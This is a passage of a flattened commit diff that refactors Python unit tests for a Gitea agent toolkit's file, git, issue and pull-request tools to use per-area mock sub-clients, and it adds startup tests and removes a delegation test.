file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
res: str = file_tools.get_file_content_with_ref(
"owner", "repo", "path/to/file", "main"
)
assert "Error getting file content: API Error" in res
def test_commit_file_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.update_file.return_value = {}
mock_client = _create_mock_client()
mock_client.files.update_file.return_value = {}
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.commit_file("owner", "repo", "path/to/file", "msg", "content", "branch")
res: str = file_tools.commit_file(
"owner", "repo", "path/to/file", "msg", "content", "branch"
)
assert "committed successfully" in res
mock_client.update_file.assert_called_once_with("owner", "repo", "path/to/file", "msg", "content", "branch")
mock_client.files.update_file.assert_called_once_with(
"owner", "repo", "path/to/file", "msg", "content", "branch"
)
def test_commit_file_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.update_file.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.files.update_file.side_effect = Exception("API Error")
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.commit_file("owner", "repo", "path/to/file", "msg", "content", "branch")
res: str = file_tools.commit_file(
"owner", "repo", "path/to/file", "msg", "content", "branch"
)
assert "Error committing file: API Error" in res
def test_update_file_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.update_file.return_value = {}
mock_client = _create_mock_client()
mock_client.files.update_file.return_value = {}
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.update_file("owner", "repo", "path/to/file", "msg", "content", "branch")
res: str = file_tools.update_file(
"owner", "repo", "path/to/file", "msg", "content", "branch"
)
assert "updated in" in res
mock_client.update_file.assert_called_once_with("owner", "repo", "path/to/file", "msg", "content", "branch")
mock_client.files.update_file.assert_called_once_with(
"owner", "repo", "path/to/file", "msg", "content", "branch"
)
def test_update_file_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.update_file.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.files.update_file.side_effect = Exception("API Error")
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.update_file("owner", "repo", "path/to/file", "msg", "content", "branch")
res: str = file_tools.update_file(
"owner", "repo", "path/to/file", "msg", "content", "branch"
)
assert "Error updating file: API Error" in res
def test_get_file_content_uses_local_file_when_available(tmp_path: str) -> None:
import os
mock_client = _create_mock_client()
repo_dir = tmp_path / "owner" / "repo"
repo_dir.mkdir(parents=True)
file_path = repo_dir / "path" / "to" / "file"
file_path.parent.mkdir(parents=True)
file_path.write_text("local file content")
file_tools = FileTools(mock_client, str(tmp_path))
res = file_tools.get_file_content("owner", "repo", "path/to/file")
assert res == "1: local file content"
mock_client.files.get_file_content.assert_not_called()
def test_get_file_content_falls_back_to_api_when_no_local(tmp_path: str) -> None:
mock_client = _create_mock_client()
mock_client.files.get_file_content.return_value = "api content"
file_tools = FileTools(mock_client, str(tmp_path))
res = file_tools.get_file_content("owner", "repo", "path/to/file")
assert res == "1: api content"
mock_client.files.get_file_content.assert_called_once_with(
"owner", "repo", "path/to/file"
)
+12 -5
View File
@@ -3,19 +3,26 @@ from gitea.client import GiteaClient
from gitea.tools.git_tools import GitTools
def test_create_branch_success() -> None:
def _create_mock_client() -> MagicMock:
"""Create a mock GiteaClient with sub-client attributes."""
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.create_ref.return_value = {}
mock_client.files = MagicMock()
return mock_client
def test_create_branch_success() -> None:
mock_client = _create_mock_client()
mock_client.files.create_ref.return_value = {}
git_tools: GitTools = GitTools(mock_client)
res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
assert res == "Branch 'ref' created successfully in owner/repo."
mock_client.create_ref.assert_called_once_with("owner", "repo", "ref", "sha")
mock_client.files.create_ref.assert_called_once_with("owner", "repo", "ref", "sha")
def test_create_branch_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.create_ref.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.files.create_ref.side_effect = Exception("API Error")
git_tools: GitTools = GitTools(mock_client)
res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
-113
View File
@@ -1,113 +0,0 @@
from unittest.mock import MagicMock
from gitea.client import GiteaClient
from gitea.tools.gitea_tools import GiteaTools
def test_gitea_tools_delegation() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
gitea_tools: GiteaTools = GiteaTools(mock_client)
# 1. get_issue
gitea_tools.get_issue("owner", "repo", 1)
mock_client.get_issue.assert_called_once_with("owner", "repo", 1)
# 2. get_pull_request
gitea_tools.get_pull_request("owner", "repo", 2)
mock_client.get_pull_request.assert_called_once_with("owner", "repo", 2)
# 3. close_issue
gitea_tools.close_issue("owner", "repo", 3)
mock_client.close_issue.assert_called_once_with("owner", "repo", 3)
# 4. close_pull_request
gitea_tools.close_pull_request("owner", "repo", 4)
mock_client.close_pull_request.assert_called_once_with("owner", "repo", 4)
# 5. get_issue_comments
gitea_tools.get_issue_comments("owner", "repo", 5)
mock_client.get_issue_comments.assert_called_once_with("owner", "repo", 5)
# 6. get_pull_request_comments
gitea_tools.get_pull_request_comments("owner", "repo", 6)
mock_client.get_pull_request_comments.assert_called_once_with("owner", "repo", 6)
# 7. list_assigned_issues
mock_client.list_all_user_repos.return_value = []
gitea_tools.list_assigned_issues()
mock_client.list_all_user_repos.assert_called()
# 8. list_assigned_pull_requests
gitea_tools.list_assigned_pull_requests()
mock_client.list_all_user_repos.assert_called()
# 9. list_issues
gitea_tools.list_issues("owner", "repo")
mock_client.list_repo_issues.assert_called_once_with("owner", "repo", "open")
# 10. list_pull_requests
gitea_tools.list_pull_requests("owner", "repo")
mock_client.list_repo_pull_requests.assert_called_once_with("owner", "repo", "open")
# 11. get_file_content
gitea_tools.get_file_content("owner", "repo", "path")
mock_client.get_file_content.assert_called_with("owner", "repo", "path")
# 12. create_pull_request
gitea_tools.create_pull_request("owner", "repo", "head", "base", "title", "desc")
mock_client.create_pr_via_tea.assert_called_once_with("owner", "repo", "title", "desc", "head", "base")
# 13. create_issue
gitea_tools.create_issue("owner", "repo", "title", "body")
mock_client.create_issue.assert_called_once_with("owner", "repo", "title", "body", None, None)
# 14. create_branch
gitea_tools.create_branch("owner", "repo", "branch", "sha")
mock_client.create_ref.assert_called_once_with("owner", "repo", "branch", "sha")
# 15. commit_file
gitea_tools.commit_file("owner", "repo", "path", "msg", "content", "branch")
mock_client.update_file.assert_called_with("owner", "repo", "path", "msg", "content", "branch")
# 16. add_label_to_issue
gitea_tools.add_label_to_issue("owner", "repo", 1, "bug")
mock_client.add_label.assert_called_with("owner", "repo", 1, "bug")
# 17. add_label_to_pr
gitea_tools.add_label_to_pr("owner", "repo", 1, "bug")
mock_client.add_label_pr.assert_called_once_with("owner", "repo", 1, "bug")
# 18. add_comment_to_issue
gitea_tools.add_comment_to_issue("owner", "repo", 1, "body")
mock_client.add_comment.assert_called_with("owner", "repo", 1, "body")
# 19. get_pull_request_diff
gitea_tools.get_pull_request_diff("owner", "repo", 1)
mock_client.get_pull_request_diff.assert_called_once_with("owner", "repo", 1)
# 20. get_pull_request_patch
gitea_tools.get_pull_request_patch("owner", "repo", 1)
mock_client.get_pull_request_patch.assert_called_once_with("owner", "repo", 1)
# 21. approve_pull_request
gitea_tools.approve_pull_request("owner", "repo", 1, "good")
mock_client.approve_pr.assert_called_once_with("owner", "repo", 1, "good")
# 22. request_changes
gitea_tools.request_changes("owner", "repo", 1, "bad")
mock_client.request_changes_pr.assert_called_once_with("owner", "repo", 1, "bad")
# 23. add_comment
gitea_tools.add_comment("owner", "repo", 1, "body")
mock_client.add_comment.assert_called_with("owner", "repo", 1, "body")
# 24. add_label
gitea_tools.add_label("owner", "repo", 1, "bug")
mock_client.add_label.assert_called_with("owner", "repo", 1, "bug")
# 25. get_file_content_with_ref
gitea_tools.get_file_content_with_ref("owner", "repo", "path", "ref")
mock_client.get_file_content.assert_called_with("owner", "repo", "path", "ref")
# 26. update_file
gitea_tools.update_file("owner", "repo", "path", "msg", "content", "branch")
mock_client.update_file.assert_called_with("owner", "repo", "path", "msg", "content", "branch")
+62 -83
View File
@@ -6,42 +6,53 @@ from gitea.models import IssueModel, CommentModel, LabelModel, RepositoryModel
from gitea.tools.issue_tools import IssueTools
def test_get_issue_success() -> None:
def _create_mock_client() -> MagicMock:
"""Create a mock GiteaClient with sub-client attributes."""
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.issues = MagicMock()
mock_client.repos = MagicMock()
return mock_client
def test_get_issue_success() -> None:
mock_client = _create_mock_client()
issue: IssueModel = IssueModel(number=1, title="Test Issue", state="open")
mock_client.get_issue.return_value = issue
mock_client.issues.get_issue.return_value = issue
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.get_issue("owner", "repo", 1)
res: IssueModel = issue_tools.get_issue("owner", "repo", 1)
data: dict[str, Any] = json.loads(res)
assert data["number"] == 1
assert data["title"] == "Test Issue"
mock_client.get_issue.assert_called_once_with("owner", "repo", 1)
assert isinstance(res, IssueModel)
assert res.number == 1
assert res.title == "Test Issue"
mock_client.issues.get_issue.assert_called_once_with("owner", "repo", 1)
def test_get_issue_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_issue.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.get_issue.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.get_issue("owner", "repo", 1)
assert "Error getting issue: API Error" in res
try:
issue_tools.get_issue("owner", "repo", 1)
assert False, "Expected Exception"
except Exception as e:
assert str(e) == "API Error"
def test_close_issue_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.close_issue.return_value = IssueModel(number=1, state="closed")
mock_client = _create_mock_client()
mock_client.issues.close_issue.return_value = IssueModel(number=1, state="closed")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.close_issue("owner", "repo", 1)
assert res == "Issue #1 closed successfully."
mock_client.close_issue.assert_called_once_with("owner", "repo", 1)
mock_client.issues.close_issue.assert_called_once_with("owner", "repo", 1)
def test_close_issue_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.close_issue.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.close_issue.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.close_issue("owner", "repo", 1)
@@ -49,9 +60,9 @@ def test_close_issue_failure() -> None:
def test_get_issue_comments_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
comment: CommentModel = CommentModel(id=123, body="Comment body")
mock_client.get_issue_comments.return_value = [comment]
mock_client.issues.get_issue_comments.return_value = [comment]
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
@@ -61,8 +72,8 @@ def test_get_issue_comments_success() -> None:
def test_get_issue_comments_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_issue_comments.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.get_issue_comments.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
@@ -70,23 +81,23 @@ def test_get_issue_comments_failure() -> None:
def test_list_assigned_issues_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
issue: IssueModel = IssueModel(number=1, title="Test Issue")
mock_client.list_all_user_repos.return_value = [repo]
mock_client.list_assigned_issues.return_value = [issue]
mock_client.repos.list_all_user_repos.return_value = [repo]
mock_client.issues.list_assigned_issues.return_value = [issue]
issue_tools: IssueTools = IssueTools(mock_client)
res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
assert len(res) == 1
assert res[0]["number"] == 1
mock_client.list_all_user_repos.assert_called_once()
mock_client.list_assigned_issues.assert_called_once_with("owner1", "repo1")
mock_client.repos.list_all_user_repos.assert_called_once()
mock_client.issues.list_assigned_issues.assert_called_once_with("owner1", "repo1")
def test_list_assigned_issues_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.list_all_user_repos.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.repos.list_all_user_repos.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
@@ -94,9 +105,9 @@ def test_list_assigned_issues_failure() -> None:
def test_list_issues_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
issue: IssueModel = IssueModel(number=1, title="Test Issue")
mock_client.list_repo_issues.return_value = [issue]
mock_client.issues.list_repo_issues.return_value = [issue]
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.list_issues("owner", "repo")
@@ -104,8 +115,8 @@ def test_list_issues_success() -> None:
def test_list_issues_empty() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.list_repo_issues.return_value = []
mock_client = _create_mock_client()
mock_client.issues.list_repo_issues.return_value = []
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.list_issues("owner", "repo")
@@ -113,8 +124,8 @@ def test_list_issues_empty() -> None:
def test_list_issues_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.list_repo_issues.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.list_repo_issues.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.list_issues("owner", "repo")
@@ -122,19 +133,23 @@ def test_list_issues_failure() -> None:
def test_create_issue_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
issue: IssueModel = IssueModel(number=2)
mock_client.create_issue.return_value = issue
mock_client.issues.create_issue.return_value = issue
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.create_issue("owner", "repo", "Title", "Body", ["label1"], ["assignee1"])
res: str = issue_tools.create_issue(
"owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
)
assert res == "Issue #2 created successfully in owner/repo."
mock_client.create_issue.assert_called_once_with("owner", "repo", "Title", "Body", ["label1"], ["assignee1"])
mock_client.issues.create_issue.assert_called_once_with(
"owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
)
def test_create_issue_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.create_issue.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.create_issue.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.create_issue("owner", "repo", "Title", "Body")
@@ -142,8 +157,8 @@ def test_create_issue_failure() -> None:
def test_add_label_to_issue_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_label.return_value = LabelModel(name="bug")
mock_client = _create_mock_client()
mock_client.issues.add_label.return_value = LabelModel(name="bug")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
@@ -151,8 +166,8 @@ def test_add_label_to_issue_success() -> None:
def test_add_label_to_issue_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_label.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.add_label.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
@@ -160,8 +175,8 @@ def test_add_label_to_issue_failure() -> None:
def test_add_comment_to_issue_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_comment.return_value = CommentModel(id=1)
mock_client = _create_mock_client()
mock_client.issues.add_comment.return_value = CommentModel(id=1)
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
@@ -169,45 +184,9 @@ def test_add_comment_to_issue_success() -> None:
def test_add_comment_to_issue_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_comment.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.issues.add_comment.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
assert "Error adding comment to issue #1: API Error" in res
def test_add_comment_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_comment.return_value = CommentModel(id=1)
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_comment("owner", "repo", 1, "body")
assert res == "Comment added to #1."
def test_add_comment_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_comment.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_comment("owner", "repo", 1, "body")
assert "Error adding comment: API Error" in res
def test_add_label_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_label.return_value = LabelModel(name="bug")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_label("owner", "repo", 1, "bug")
assert res == "Label 'bug' added to #1."
def test_add_label_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_label.side_effect = Exception("API Error")
issue_tools: IssueTools = IssueTools(mock_client)
res: str = issue_tools.add_label("owner", "repo", 1, "bug")
assert "Error adding label: API Error" in res
+58
View File
@@ -0,0 +1,58 @@
from unittest.mock import MagicMock, AsyncMock, patch
import pytest
from main import main
pytestmark = pytest.mark.anyio
@patch("main.load_dotenv")
@patch("main.os.chdir")
@patch("main.GiteaClient")
@patch("main.GiteaTools")
@patch("main.AgentOrchestrator")
async def test_main_startup_success(
mock_orchestrator_class: MagicMock,
mock_tools_class: MagicMock,
mock_client_class: MagicMock,
mock_chdir: MagicMock,
mock_load_dotenv: MagicMock
) -> None:
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_user = MagicMock()
mock_user.login = "agent-test"
mock_client.get_authenticated_user.return_value = mock_user
mock_orchestrator = MagicMock()
mock_orchestrator.poll_and_dispatch = AsyncMock(side_effect=KeyboardInterrupt())
mock_orchestrator_class.return_value = mock_orchestrator
# Run main; it should exit gracefully on KeyboardInterrupt
await main()
mock_client.get_authenticated_user.assert_called_once()
mock_orchestrator.poll_and_dispatch.assert_called_once()
@patch("main.load_dotenv")
@patch("main.os.chdir")
@patch("main.GiteaClient")
@patch("main.GiteaTools")
@patch("main.AgentOrchestrator")
async def test_main_startup_fails_no_authenticated_user(
mock_orchestrator_class: MagicMock,
mock_tools_class: MagicMock,
mock_client_class: MagicMock,
mock_chdir: MagicMock,
mock_load_dotenv: MagicMock
) -> None:
mock_client = MagicMock()
mock_client_class.return_value = mock_client
# Simulate no user returned
mock_client.get_authenticated_user.return_value = None
with pytest.raises(SystemExit) as exc_info:
await main()
assert exc_info.value.code == 1
mock_orchestrator_class.assert_not_called()
+7 -8
View File
@@ -5,7 +5,6 @@ from unittest.mock import MagicMock, AsyncMock, patch
from core.orchestrator import AgentOrchestrator
from gitea.client import GiteaClient
from gitea.tools.gitea_tools import GiteaTools
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
pytestmark = pytest.mark.anyio
@@ -21,9 +20,9 @@ def temp_state_file(tmp_path: Path) -> Path:
@patch("core.orchestrator.AgentOrchestrator._get_state_file_path")
@patch("core.orchestrator.AgentDispatcher")
@patch("core.orchestrator.WorkspaceManager")
@patch("core.orchestrator.AgentFactory")
@patch("core.orchestrator.NotificationReaderAgent")
async def test_poll_and_dispatch_no_notifications(
mock_factory: MagicMock,
mock_notification_reader_class: MagicMock,
mock_workspace_class: MagicMock,
mock_dispatcher_class: MagicMock,
mock_get_path: MagicMock,
@@ -31,7 +30,7 @@ async def test_poll_and_dispatch_no_notifications(
) -> None:
mock_get_path.return_value = temp_state_file
mock_client = MagicMock(spec=GiteaClient)
mock_tools = MagicMock(spec=GiteaTools)
mock_tools = MagicMock()
# Return no notifications
mock_client.list_unread_notifications.return_value = []
@@ -46,9 +45,9 @@ async def test_poll_and_dispatch_no_notifications(
@patch("core.orchestrator.AgentOrchestrator._get_state_file_path")
@patch("core.orchestrator.AgentDispatcher")
@patch("core.orchestrator.WorkspaceManager")
@patch("core.orchestrator.AgentFactory")
@patch("core.orchestrator.NotificationReaderAgent")
async def test_poll_and_dispatch_with_notifications(
mock_factory: MagicMock,
mock_notification_reader_class: MagicMock,
mock_workspace_class: MagicMock,
mock_dispatcher_class: MagicMock,
mock_get_path: MagicMock,
@@ -66,9 +65,9 @@ async def test_poll_and_dispatch_with_notifications(
notification_tools.skip_notification("Unrelated")
return "Decided"
mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
mock_factory.create_notification_reader_agent.return_value = mock_reader
mock_notification_reader_class.return_value = mock_reader
mock_client = MagicMock(spec=GiteaClient)
mock_tools = MagicMock(spec=GiteaTools)
mock_tools = MagicMock()
# Set up mock Gitea notifications
notifications = [
+85 -63
View File
@@ -6,42 +6,55 @@ from gitea.models import PullRequestModel, CommentModel, RepositoryModel
from gitea.tools.pr_tools import PRTools
def test_get_pull_request_success() -> None:
def _create_mock_client() -> MagicMock:
"""Create a mock GiteaClient with sub-client attributes."""
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.prs = MagicMock()
mock_client.repos = MagicMock()
return mock_client
def test_get_pull_request_success() -> None:
mock_client = _create_mock_client()
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR", state="open")
mock_client.get_pull_request.return_value = pr
mock_client.prs.get_pull_request.return_value = pr
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request("owner", "repo", 1)
res: PullRequestModel = pr_tools.get_pull_request("owner", "repo", 1)
data: dict[str, Any] = json.loads(res)
assert data["number"] == 1
assert data["title"] == "Test PR"
mock_client.get_pull_request.assert_called_once_with("owner", "repo", 1)
assert isinstance(res, PullRequestModel)
assert res.number == 1
assert res.title == "Test PR"
mock_client.prs.get_pull_request.assert_called_once_with("owner", "repo", 1)
def test_get_pull_request_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_pull_request.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.get_pull_request.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request("owner", "repo", 1)
assert "Error getting pull request: API Error" in res
try:
pr_tools.get_pull_request("owner", "repo", 1)
assert False, "Expected Exception"
except Exception as e:
assert str(e) == "API Error"
def test_close_pull_request_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.close_pull_request.return_value = PullRequestModel(number=1, state="closed")
mock_client = _create_mock_client()
mock_client.prs.close_pull_request.return_value = PullRequestModel(
number=1, state="closed"
)
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.close_pull_request("owner", "repo", 1)
assert res == "Pull request #1 closed successfully."
mock_client.close_pull_request.assert_called_once_with("owner", "repo", 1)
mock_client.prs.close_pull_request.assert_called_once_with("owner", "repo", 1)
def test_close_pull_request_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.close_pull_request.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.close_pull_request.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.close_pull_request("owner", "repo", 1)
@@ -49,9 +62,9 @@ def test_close_pull_request_failure() -> None:
def test_get_pull_request_comments_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
comment: CommentModel = CommentModel(id=123, body="Comment body")
mock_client.get_pull_request_comments.return_value = [comment]
mock_client.prs.get_pull_request_comments.return_value = [comment]
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
@@ -61,8 +74,8 @@ def test_get_pull_request_comments_success() -> None:
def test_get_pull_request_comments_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_pull_request_comments.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.get_pull_request_comments.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
@@ -70,23 +83,25 @@ def test_get_pull_request_comments_failure() -> None:
def test_list_assigned_pull_requests_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
mock_client.list_all_user_repos.return_value = [repo]
mock_client.list_assigned_pull_requests.return_value = [pr]
mock_client.repos.list_all_user_repos.return_value = [repo]
mock_client.prs.list_assigned_pull_requests.return_value = [pr]
pr_tools: PRTools = PRTools(mock_client)
res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
assert len(res) == 1
assert res[0]["number"] == 1
mock_client.list_all_user_repos.assert_called_once()
mock_client.list_assigned_pull_requests.assert_called_once_with("owner1", "repo1")
mock_client.repos.list_all_user_repos.assert_called_once()
mock_client.prs.list_assigned_pull_requests.assert_called_once_with(
"owner1", "repo1"
)
def test_list_assigned_pull_requests_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.list_all_user_repos.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.repos.list_all_user_repos.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
@@ -94,9 +109,9 @@ def test_list_assigned_pull_requests_failure() -> None:
def test_list_pull_requests_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
mock_client.list_repo_pull_requests.return_value = [pr]
mock_client.prs.list_repo_pull_requests.return_value = [pr]
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.list_pull_requests("owner", "repo")
@@ -104,8 +119,8 @@ def test_list_pull_requests_success() -> None:
def test_list_pull_requests_empty() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.list_repo_pull_requests.return_value = []
mock_client = _create_mock_client()
mock_client.prs.list_repo_pull_requests.return_value = []
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.list_pull_requests("owner", "repo")
@@ -113,8 +128,8 @@ def test_list_pull_requests_empty() -> None:
def test_list_pull_requests_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.list_repo_pull_requests.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.list_repo_pull_requests.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.list_pull_requests("owner", "repo")
@@ -122,29 +137,36 @@ def test_list_pull_requests_failure() -> None:
def test_create_pull_request_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client = _create_mock_client()
pr: PullRequestModel = PullRequestModel(number=2, title="Title")
mock_client.create_pr_via_tea.return_value = pr
mock_client.prs.create_pr_via_tea.return_value = pr
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title", "Desc")
data: dict[str, Any] = json.loads(res)
assert data["number"] == 2
mock_client.create_pr_via_tea.assert_called_once_with("owner", "repo", "Title", "Desc", "head", "base")
res: PullRequestModel = pr_tools.create_pull_request(
"owner", "repo", "head", "base", "Title", "Desc"
)
assert isinstance(res, PullRequestModel)
assert res.number == 2
mock_client.prs.create_pr_via_tea.assert_called_once_with(
"owner", "repo", "Title", "Desc", "head", "base"
)
def test_create_pull_request_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.create_pr_via_tea.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.create_pr_via_tea.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
assert "Error creating PR: API Error" in res
try:
pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
assert False, "Expected Exception"
except Exception as e:
assert str(e) == "API Error"
def test_add_label_to_pr_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_label_pr.return_value = {}
mock_client = _create_mock_client()
mock_client.prs.add_label_pr.return_value = {}
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
@@ -152,8 +174,8 @@ def test_add_label_to_pr_success() -> None:
def test_add_label_to_pr_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.add_label_pr.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.add_label_pr.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
@@ -161,8 +183,8 @@ def test_add_label_to_pr_failure() -> None:
def test_get_pull_request_diff_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_pull_request_diff.return_value = "diff content"
mock_client = _create_mock_client()
mock_client.prs.get_pull_request_diff.return_value = "diff content"
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
@@ -170,8 +192,8 @@ def test_get_pull_request_diff_success() -> None:
def test_get_pull_request_diff_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
